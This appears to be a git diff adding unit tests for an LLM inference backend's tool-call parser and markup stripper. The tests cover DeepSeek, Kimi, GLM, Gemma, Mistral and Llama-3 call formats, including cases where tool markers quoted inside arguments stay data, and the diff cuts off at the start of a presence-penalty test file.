+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+def test_routes_layer_strip_removes_glm_block():
+    """``<tool_call>.*?</tool_call>`` covers GLM via the Qwen pattern."""
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<tool_call>web_search\n"
+        "<arg_key>q</arg_key>\n<arg_value>x</arg_value>\n"
+        "</tool_call>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+# strip_tool_markup (parser-level finalise path) over the new families
+
+
+def test_strip_tool_markup_handles_deepseek_envelope():
+    text = (
+        "before "
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = True)
+    assert "before" in stripped and "after" in stripped
+    assert "｜tool▁" not in stripped
+    assert "get_time" not in stripped and "Tokyo" not in stripped
+
+
+def test_strip_tool_markup_handles_kimi_section():
+    text = (
+        "before "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = True)
+    assert "before" in stripped and "after" in stripped
+    assert "tool_calls_section_begin" not in stripped
+
+
+# Round-2 review findings: GLM quoted-string / unclosed-arg, DeepSeek
+# strict terminator, nested wrapper-less Gemma strip
+
+
+def test_glm_quoted_string_arg_keeps_its_quotes():
+    # A GLM string value emitted verbatim that itself begins with a quote.
+    text = (
+        "<tool_call>web_search\n"
+        "<arg_key>query</arg_key>\n"
+        '<arg_value>"exact phrase"</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["query"] == '"exact phrase"'
+
+
+def test_glm_unclosed_arg_value_is_rejected_in_strict_mode():
+    # Closing </tool_call> present but a value never closes: strict mode must reject
+    # the whole call rather than execute it with the argument silently dropped.
+    text = (
+        "<tool_call>web_search\n"
+        "<arg_key>query</arg_key>\n"
+        "<arg_value>Tokyo weather"  # no </arg_value>
+        "</tool_call>"
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    # With Auto-Heal the partial value is kept, not dropped to a no-arg call.
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1
+    args = json.loads(healed[0]["function"]["arguments"])
+    assert "Tokyo weather" in args.get("query", "")
+
+
+def test_deepseek_v3_missing_call_terminator_rejected_in_strict_mode():
+    # Envelope closes but the per-call <｜tool▁call▁end｜> is absent. Strict mode
+    # must reject (it is truncated/merged); Auto-Heal still parses it.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁calls▁end｜>"  # envelope end only, no per-call end
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1
+    assert healed[0]["function"]["name"] == "get_time"
+
+
+def test_deepseek_v3_with_call_terminator_parses_in_strict_mode():
+    # Sanity: a well-formed V3 call (with the per-call end marker) still parses
+    # under strict mode after the terminator check.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_time"
+
+
+def test_strip_tool_markup_removes_nested_wrapperless_gemma_call():
+    # Wrapper-less Gemma call with a NESTED object arg: the balanced helper must strip the whole call, not leave a trailing ``}``.
+    text = "answer: call:f{loc:{city:NYC},n:3} done"
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:f" not in stripped
+    assert "}" not in stripped
+    assert "answer:" in stripped and "done" in stripped
+
+
+# Pass-3 review findings: bare-Kimi streaming (non-final) strip symmetry
+# and the wrapper-less Gemma route-display strip
+
+
+def test_strip_tool_markup_non_final_removes_bare_kimi_call():
+    # A bare ``<|tool_call_begin|>...<|tool_call_end|>`` (no section wrapper): the CLOSED (final=False) strip must remove it too.
+    text = (
+        "before "
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = False)
+    assert "tool_call_begin" not in stripped
+    assert "tool_call_end" not in stripped
+    assert "before" in stripped and "after" in stripped
+
+
+def test_routes_layer_strip_removes_wrapperless_gemma_call():
+    # Gemma 4 (skip_special_tokens) emits a wrapper-less ``call:NAME{..}`` with no XML markers.
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = 'before call:web_search{query:"weather in Sydney"} after'
+    stripped = _routes_strip(text)
+    assert "call:web_search" not in stripped
+    assert "before" in stripped and "after" in stripped
+
+
+def test_deepseek_envelope_end_inside_arg_string_is_not_a_truncation():
+    # A DeepSeek V3.1 call whose argument string contains the literal envelope-end token must not be dropped.
+    content = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>web_search<｜tool▁sep｜>"
+        '{"query":"what does <｜tool▁calls▁end｜> mean"}'
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert len(calls) == 1, calls
+    assert calls[0]["function"]["name"] == "web_search"
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "what does <｜tool▁calls▁end｜> mean"
+    }
+
+
+def test_glm_value_containing_literal_arg_value_close_is_preserved():
+    # A GLM string argument may legitimately contain </arg_value>.
+    content = (
+        "<tool_call>run<arg_key>code</arg_key>"
+        '<arg_value>print("</arg_value>")</arg_value></tool_call>'
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert len(calls) == 1, calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</arg_value>")'}
+
+
+def test_attribute_form_function_with_embedded_marker_runs_outer_call():
+    # <function name="outer"> is a supported envelope; a DeepSeek/Kimi marker inside one of its
+    # parameter values is data, not a second call.
+    content = (
+        '<function name="respond"><parameter name="answer">'
+        "The Kimi format is <|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|>"
+        "</parameter></function>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["respond"], calls
+
+
+def test_wrapperless_gemma_call_gated_by_enabled_tools():
+    # Once skip_special_tokens removes the <|tool_call> wrapper, call:NAME{...} is
+    # indistinguishable from prose documenting the Gemma syntax.
+    prose = "Here is an example of the syntax: call:foo{x:1}. That shows how tools work."
+    assert parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"}) == []
+    # The display strip is gated the same way, so the example survives in the answer.
+    assert "call:foo{x:1}" in strip_tool_markup(
+        prose, final = True, enabled_tool_names = {"web_search"}
+    )
+    # An enabled name is still a real call (parsed, and stripped from display).
+    real = "Answer. call:web_search{query:hi}"
+    calls = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert "call:web_search" not in strip_tool_markup(
+        real, final = True, enabled_tool_names = {"web_search"}
+    )
+
+
+def test_kimi_section_end_inside_arg_string_is_not_a_truncation():
+    # In a multi-call Kimi section, a later call whose argument holds the literal section-end token must not truncate the section.
+    content = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.search:0<|tool_call_argument_begin|>"
+        '{"q":"cats"}<|tool_call_end|>'
+        "<|tool_call_begin|>functions.explain:1<|tool_call_argument_begin|>"
+        '{"text":"the token <|tool_calls_section_end|> means end"}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["search", "explain"], calls
+    assert json.loads(calls[1]["function"]["arguments"]) == {
+        "text": "the token <|tool_calls_section_end|> means end"
+    }
+
+
+def test_closed_envelope_before_deepseek_block_owns_turn():
+    # Document order is the contract: a CLOSED <tool_call>/<function> call that precedes a
+    # DeepSeek/Kimi block owns the turn, even when prose frames it as an example.
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>search_web\n"
+        "```json\n"
+        '{"query":"weather in Paris"}\n'
+        "```"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    prose = (
+        'A Qwen call looks like <tool_call>{"name":"example_tool","arguments":{}}</tool_call>.\n'
+    )
+    calls = parse_tool_calls_from_text(prose + deepseek)
+    assert [c["function"]["name"] for c in calls] == ["example_tool"], calls
+
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.lookup:0"
+        '<|tool_call_argument_begin|>{"id":7}<|tool_call_end|><|tool_calls_section_end|>'
+    )
+    calls_k = parse_tool_calls_from_text("Example: <function=demo>{}</function> and now:\n" + kimi)
+    assert [c["function"]["name"] for c in calls_k] == ["demo"], calls_k
+
+
+def test_marker_inside_closed_outer_envelope_still_runs_outer_call():
+    # The guard must fire when the marker sits INSIDE a closed outer <function>/<tool_call> envelope's arguments: the OUTER call wins.
+    outer = (
+        "<function=lookup><parameter=q>what does <｜tool▁calls▁begin｜> mean</parameter></function>"
+    )
+    calls = parse_tool_calls_from_text(outer)
+    # The outer envelope is the real call; the embedded DeepSeek marker must not
+    # hijack the parse into a spurious tool.
+    assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "q": "what does <｜tool▁calls▁begin｜> mean"
+    }
+
+
+def test_truncated_outer_envelope_with_embedded_marker_heals_outer_call():
+    # A TRUNCATED outer <function> call embedding a DeepSeek/Kimi marker in its argument still Auto-Heals as the outer call.
+    trunc = '<function=python><parameter=code>x = "<｜tool▁calls▁begin｜>sample"</parameter>'
+    calls = parse_tool_calls_from_text(trunc)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_python_tag_call_with_embedded_marker_runs_outer_call():
+    # ``<|python_tag|>`` is Llama-3's tool-call envelope, so a DeepSeek/Kimi example quoted
+    # in its argument is data: the OUTER python_tag call (``web_search``) must run, not the
+    # embedded marker (``delete_all``).
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|><|tool_calls_section_end|>"
+    )
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>delete_all<｜tool▁sep｜>{}"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    for embedded in (kimi, deepseek):
+        builtin = '<|python_tag|>web_search.call(query="explain ' + embedded + '")'
+        calls = parse_tool_calls_from_text(builtin, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        custom = (
+            '<|python_tag|>{"name":"web_search","parameters":'
+            '{"query":"explain ' + embedded + '"}}'
+        )
+        calls = parse_tool_calls_from_text(custom, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # A bare ``<|python_tag|>`` prose mention (no call shape) must NOT be treated as an
+    # envelope: a real Kimi call after it still parses (the call-shaped lookahead guard).
+    prose = "The token <|python_tag|> is used. " + kimi
+    calls = parse_tool_calls_from_text(prose)
+    assert [c["function"]["name"] for c in calls] == ["delete_all"], calls
+
+
+def test_gemma_wrapperless_quoted_value_with_comma_not_split():
+    # A wrapper-less Gemma call whose quoted value contains ``, key:``.
+    text = 'call:web_search{query:"weather, location: Boston", limit:3}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "weather, location: Boston",
+        "limit": 3,
+    }
+
+
+def test_literal_close_tag_in_xml_arg_before_marker_runs_outer_call():
+    # A literal ``</function>`` inside an outer XML argument (before a marker) is not the envelope close: the span reaches the REAL final close.
+    text = (
+        '<function=python><parameter=code>x = "</function> '
+        "<|tool_call_begin|>functions.delete_all:0<|tool_call_argument_begin|>{}"
+        '<|tool_call_end|>"</parameter></function>'
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_literal_tool_call_close_in_qwen_json_before_marker_runs_outer_call():
+    # A Qwen/Hermes <tool_call> whose JSON argument holds a literal </tool_call> then a marker must run the OUTER call.
+    text = (
+        '<tool_call>{"name":"search","arguments":{"query":"explain </tool_call> then '
+        "<|tool_call_begin|>functions.delete_all:0<|tool_call_argument_begin|>{}"
+        '<|tool_call_end|>"}}</tool_call>'
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["search"], calls
+    # Back-to-back Qwen calls still parse independently (real-close span must keep the
+    # negative-lookahead that separates adjacent calls).
+    bb = (
+        '<tool_call>{"name":"a","arguments":{}}</tool_call>'
+        '<tool_call>{"name":"b","arguments":{}}</tool_call>'
+    )
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(bb)] == ["a", "b"]
+
+
+def test_r1_heal_keeps_later_call_when_first_omits_close_fence():
+    # DeepSeek R1 multi-call where the FIRST call has balanced JSON but omits its close
+    # fence/terminator, followed by a well-formed second call.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n```json\n"
+        '{"city":"SF"}\n```'  # no <｜tool▁call▁end｜>
+        "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_time\n```json\n"
+        '{"tz":"UTC"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    heal = [c["function"]["name"] for c in parse_tool_calls_from_text(text)]
+    assert "get_time" in heal, heal
+    # Strict keeps the later well-formed call; heal must be a superset.
+    strict = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False)
+    ]
+    assert set(strict) <= set(heal), (strict, heal)
+
+
+def test_wrapperless_gemma_nested_call_in_arg_is_not_a_second_call():
+    # A wrapper-less Gemma call whose quoted argument mentions another enabled tool must not execute that nested name.
+    text = 'call:web_search{query:"explain call:delete_all{target:files}"}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "explain call:delete_all{target:files}"
+    }
+    # Two genuinely separate calls still both parse.
+    two = "call:web_search{query:hi}call:get_time{tz:UTC}"
+    assert [
+        c["function"]["name"]
+        for c in parse_tool_calls_from_text(two, enabled_tool_names = {"web_search", "get_time"})
+    ] == ["web_search", "get_time"]
+
+
+def test_leading_bare_json_call_owns_quoted_gemma_snippet():
+    # Document order: a leading Llama-3.2 bare-JSON call with trailing prose owns the turn.
+    text = (
+        '{"name":"lookup","parameters":{"note":"use call:web_search{query:cats} for this"}}\n'
+        "That is the call I would make."
+    )
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "web_search"})
+    assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "note": "use call:web_search{query:cats} for this"
+    }
+
+    # Same with the ``;`` inter-call separator: both real calls parse, the
+    # quoted snippet still does not.
+    two = (
+        '{"name":"lookup","parameters":{"note":"see call:web_search{query:cats}"}};'
+        '{"name":"lookup","parameters":{"q":"second"}}'
+    )
+    calls_two = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "web_search"})
+    assert [c["function"]["name"] for c in calls_two] == ["lookup", "lookup"], calls_two
+
+
+def test_leading_gemma_call_still_wins_over_trailing_json_example():
+    # Reverse control: a real leading Gemma call followed by a bare-JSON example keeps the Gemma call (bare JSON matches only a LEADING object).
+    text = 'call:web_search{query:cats} Example JSON: {"name":"demo_tool","parameters":{}}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "demo_tool"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # And prose-only enabled Gemma syntax (no leading JSON) still promotes: the
+    # markerless by-design behaviour is unchanged.
+    prose = "You can run call:web_search{query:cats} to search."
+    calls_p = parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls_p] == ["web_search"], calls_p
+
+
+def test_leading_gemma_call_owns_quoted_mistral_trigger():
+    # A leading wrapper-less Gemma call whose argument quotes a Mistral trigger must win: the [TOOL_CALLS] literal is data.
+    text = 'call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "docs say [TOOL_CALLS]delete_all{}"
+    }
+
+    # Reverse control: a real leading Mistral call still parses normally.
+    real = '[TOOL_CALLS]delete_all{"x":1}'
+    calls_m = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls_m] == ["delete_all"], calls_m
+
+    # A DISABLED Gemma example quoting the trigger is dropped as prose and a
+    # real call after it still parses (drop-the-span recursion).
+    mixed = (
+        'Example: call:demo{note:"see [TOOL_CALLS]delete_all{}"}\n'
+        '[TOOL_CALLS]web_search{"q":"real"}'
+    )
+    calls_d = parse_tool_calls_from_text(mixed, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls_d] == ["web_search"], calls_d
+
+
+def test_chained_bare_json_owns_kimi_marker_in_later_call():
+    # Document order: two ;-chained bare-JSON calls own the turn even when the second's argument quotes a complete Kimi snippet.
+    kimi = (
+        "<|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|>"
+    )
+    two = (
+        '{"name":"lookup","parameters":{"q":"first"}};'
+        '{"name":"lookup","parameters":{"note":"' + kimi + '"}}'
+    )
+    calls = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls
+
+    # Reverse control: prose followed by a real Kimi block still parses.
+    real = "Let me check.\n<|tool_calls_section_begin|>" + kimi + "<|tool_calls_section_end|>"
+    calls_k = parse_tool_calls_from_text(real, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls_k] == ["delete_all"], calls_k
+
+    # A closed leading Mistral call preceding a trailing Kimi example owns the
+    # turn too (same closed-call-precedes-marker rule).
+    mistral = '[TOOL_CALLS]lookup{"q":"first"} then example ' + kimi
+    calls_m = parse_tool_calls_from_text(mistral, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls_m] == ["lookup"], calls_m
+
+
+def test_nested_gemma_values_keep_commas_and_parens():
+    # Nested wrapper-less Gemma mappings/arrays use the top-level delimiter rules, so nested arguments are not split.
+    calls = parse_tool_calls_from_text(
+        "call:python{opts:{code:print(1,2),lang:py}}", enabled_tool_names = {"python"}
+    )
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "opts": {"code": "print(1,2)", "lang": "py"}
+    }
+
+    arr = parse_tool_calls_from_text(
+        "call:python{opts:[1,2,{a:f(1,2)}]}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(arr[0]["function"]["arguments"]) == {"opts": [1, 2, {"a": "f(1,2)"}]}
+
+    prose_comma = parse_tool_calls_from_text(
+        "call:python{opts:{note:hello, world}}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(prose_comma[0]["function"]["arguments"]) == {"opts": {"note": "hello, world"}}
+
+    quoted = parse_tool_calls_from_text(
+        'call:python{opts:{q:say "a, b" now,n:3}}', enabled_tool_names = {"python"}
+    )
+    assert json.loads(quoted[0]["function"]["arguments"]) == {
+        "opts": {"q": 'say "a, b" now', "n": 3}
+    }
+
+    # Controls: nested quoted values and multi-key mappings are unchanged, and
+    # a truncated nested value still falls back to the raw string.
+    nested_q = parse_tool_calls_from_text(
+        'call:python{loc:{city:"New York"}}', enabled_tool_names = {"python"}
+    )
+    assert json.loads(nested_q[0]["function"]["arguments"]) == {"loc": {"city": "New York"}}
+    multi = parse_tool_calls_from_text(
+        "call:python{opts:{a:1,b:2},n:3}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(multi[0]["function"]["arguments"]) == {"opts": {"a": 1, "b": 2}, "n": 3}
+    trunc = parse_tool_calls_from_text(
+        "call:python{opts:{code:print(1,2}}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(trunc[0]["function"]["arguments"]) == {"opts": "{code:print(1,2}"}
+
+
+def test_multi_gemma_calls_own_turn_over_signal_in_later_call():
+    # Document order: when the first enabled Gemma call closes before the first foreign signal, the leading call still owns the turn.
+    en = {"get_time", "web_search", "delete_all"}
+    both = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in both] == ["get_time", "web_search"], both
+    assert json.loads(both[1]["function"]["arguments"]) == {
+        "query": "docs say [TOOL_CALLS]delete_all{}"
+    }
+
+    # XML and Kimi markers in the later call's strings stay data too.
+    xml = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"see <tool_call>delete_all</tool_call>"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in xml] == ["get_time", "web_search"], xml
+    kimi = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"see <|tool_call_begin|>'
+        'functions.delete_all:0<|tool_call_argument_begin|>{}<|tool_call_end|>"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in kimi] == ["get_time", "web_search"], kimi
+
+    # A trailing prose example after the closed leading call defers the same way.
+    prose = parse_tool_calls_from_text(
+        "call:get_time{} Example: [TOOL_CALLS]delete_all{}", enabled_tool_names = en
+    )
+    assert [c["function"]["name"] for c in prose] == ["get_time"], prose
+
+
+def test_multi_gemma_ownership_reverse_controls():
+    # A real leading Mistral/XML call with a trailing Gemma example keeps the leading call; a signal before every Gemma call keeps normal order.
+    en = {"get_time", "web_search", "delete_all"}
+    mistral = parse_tool_calls_from_text(
+        '[TOOL_CALLS][{"name":"delete_all","arguments":{}}] Example: call:web_search{query:cats}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in mistral] == ["delete_all"], mistral
+    xml_first = parse_tool_calls_from_text(
+        '<tool_call>{"name":"delete_all","arguments":{}}</tool_call> call:web_search{query:cats}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in xml_first] == ["delete_all"], xml_first
+    agnostic = parse_tool_calls_from_text(
+        'call:foo{} <tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+    )
+    assert [c["function"]["name"] for c in agnostic] == ["delete_all"], agnostic
+
+
+def test_disabled_leading_bare_json_does_not_hide_later_marker_call():
+    # A leading bare-JSON object with a NOT-enabled name is prose: the real DeepSeek/Kimi call after it still parses.
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"cats"}<|tool_call_end|><|tool_calls_section_end|>'
+    )
+    calls = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{}} ' + kimi, enabled_tool_names = {"web_search"}
+    )
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"q": "cats"}
+
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+        '```json\n{"q":"cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    calls_ds = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{}} ' + deepseek, enabled_tool_names = {"web_search"}
+    )
+    assert [c["function"]["name"] for c in calls_ds] == ["web_search"], calls_ds
+
+
+def test_disabled_leading_bare_json_ownership_controls():
+    kimi_delete = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|><|tool_calls_section_end|>"
+    )
+    # ENABLED leading name still owns the turn (document order, the shipped
+    # inside-or-after rule).
+    owns = parse_tool_calls_from_text(
+        '{"name":"web_search","parameters":{"q":"first"}} ' + kimi_delete,
+        enabled_tool_names = {"web_search", "delete_all"},
+    )
+    assert [c["function"]["name"] for c in owns] == ["web_search"], owns
+    # A marker INSIDE the disabled object's own strings stays data: the span
+    # is prose, the tail holds no call, so nothing parses.
+    inside = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{"note":"see <|tool_call_begin|>functions.delete_all:0'
+        '<|tool_call_argument_begin|>{}<|tool_call_end|>"}}\nsome trailing prose',
+        enabled_tool_names = {"web_search", "delete_all"},
+    )
+    assert inside == [], inside
+    # Nameless leading JSON answers keep recursing to the real call.
+    nameless = parse_tool_calls_from_text(
+        '{"answer":42} ' + kimi_delete, enabled_tool_names = {"delete_all"}
+    )
+    assert [c["function"]["name"] for c in nameless] == ["delete_all"], nameless
+    # Name-agnostic path unchanged: the leading object is the call.
+    agnostic = parse_tool_calls_from_text('{"name":"draft","parameters":{}} ' + kimi_delete)
+    assert [c["function"]["name"] for c in agnostic] == ["draft"], agnostic
+
+
+def test_leading_json_answer_with_prose_keeps_quoted_gemma_snippet_as_data():
+    # A LEADING JSON answer followed by prose is data (same contract as the whole-content JSON exemption).
+    obj = '{"summary":"use call:web_search{query:cats} to search"}\nHope that helps!'
+    assert parse_tool_calls_from_text(obj, enabled_tool_names = {"web_search"}) == []
+    arr = '["use call:web_search{query:cats} to search"]\nHope that helps!'
+    assert parse_tool_calls_from_text(arr, enabled_tool_names = {"web_search"}) == []
+    assert strip_tool_markup(obj, enabled_tool_names = {"web_search"}) == obj
+
+    # A REAL call in the tail after the answer still parses (and strips).
+    tail = '{"summary":"done"}\ncall:web_search{query:cats}'
+    calls = parse_tool_calls_from_text(tail, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # A leading brace run that is NOT valid JSON gets no exemption.
+    not_json = "{not json} call:web_search{query:cats}"
+    calls_nj = parse_tool_calls_from_text(not_json, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls_nj] == ["web_search"], calls_nj
+
+
+def test_glm_heal_bounds_unclosed_value_at_tool_call_close():
+    # Auto-Heal: a value missing only its </arg_value> before the block's </tool_call> heals to the
+    # value text, not the close tag and everything after it swallowed into the argument.
+    one = "<tool_call>get_weather<arg_key>city</arg_key><arg_value>NYC</tool_call>"
+    calls = parse_tool_calls_from_text(one, allow_incomplete = True)
+    assert [c["function"]["name"] for c in calls] == ["get_weather"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"city": "NYC"}
+
+    # Trailing prose after the close stays out of the healed value.
+    two = one + "\nLet me check that for you."
+    calls_two = parse_tool_calls_from_text(two, allow_incomplete = True)
+    assert json.loads(calls_two[0]["function"]["arguments"]) == {"city": "NYC"}
+
+    # Strict mode still rejects the unclosed value outright.
+    assert parse_tool_calls_from_text(one, allow_incomplete = False) == []
+
+    # A value truncated at EOF (no structural tag follows) keeps the partial heal, and a proper
+    # close whose value holds a literal </tool_call> is untouched by the bounding.
+    eof = "<tool_call>get_weather<arg_key>city</arg_key><arg_value>New York Ci"
+    calls_eof = parse_tool_calls_from_text(eof, allow_incomplete = True)
+    assert json.loads(calls_eof[0]["function"]["arguments"]) == {"city": "New York Ci"}
+    lit = (
+        "<tool_call>get_weather<arg_key>city</arg_key>"
+        '<arg_value>print("</tool_call>")</arg_value></tool_call>'
+    )
+    calls_lit = parse_tool_calls_from_text(lit, allow_incomplete = True)
+    assert json.loads(calls_lit[0]["function"]["arguments"]) == {"city": 'print("</tool_call>")'}
+
+
+def test_prose_mentioning_ds_kimi_markers_survives_final_strip():
+    # False-alarm literals: the trailing strip arms require a call-shaped
+    # lookahead, so an answer documenting a marker keeps its tail.
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    for text in [
+        "The Kimi marker <|tool_calls_section_begin|> starts a section.",
+        "DeepSeek uses <｜tool▁calls▁begin｜> to open calls.",
+        "See <|tool_call_begin|> in the docs.",
+    ]:
+        assert strip_tool_markup(text, final = True) == text
+
+    # Truncated REAL calls still drop, and a bare marker at EOF is a fragment.
+    truncated_kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q'
+    )
+    assert strip_tool_markup(truncated_kimi, final = True) == ""
+    assert strip_tool_markup("prefix <|tool_calls_section_begin|>", final = True) == "prefix"
diff --git a/studio/backend/tests/test_presence_penalty.py b/studio/backend/tests/test_presence_penalty.py
new file mode 100644
index 0000000000..030ddb6011
--- /dev/null
+++ b/studio/backend/tests/test_presence_penalty.py
@@ -0,0 +1,252 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""Presence-penalty parity between the GGUF path and the safetensors/MLX paths.
+
+The safetensors path historically dropped ``presence_penalty``, so the SAME model
+looked worse served as safetensors. These tests pin the processor semantics
+(subtract once per distinct completion token, prompt excluded, presence not
+frequency, zero a no-op, negatives raise) plus a param-propagation regression
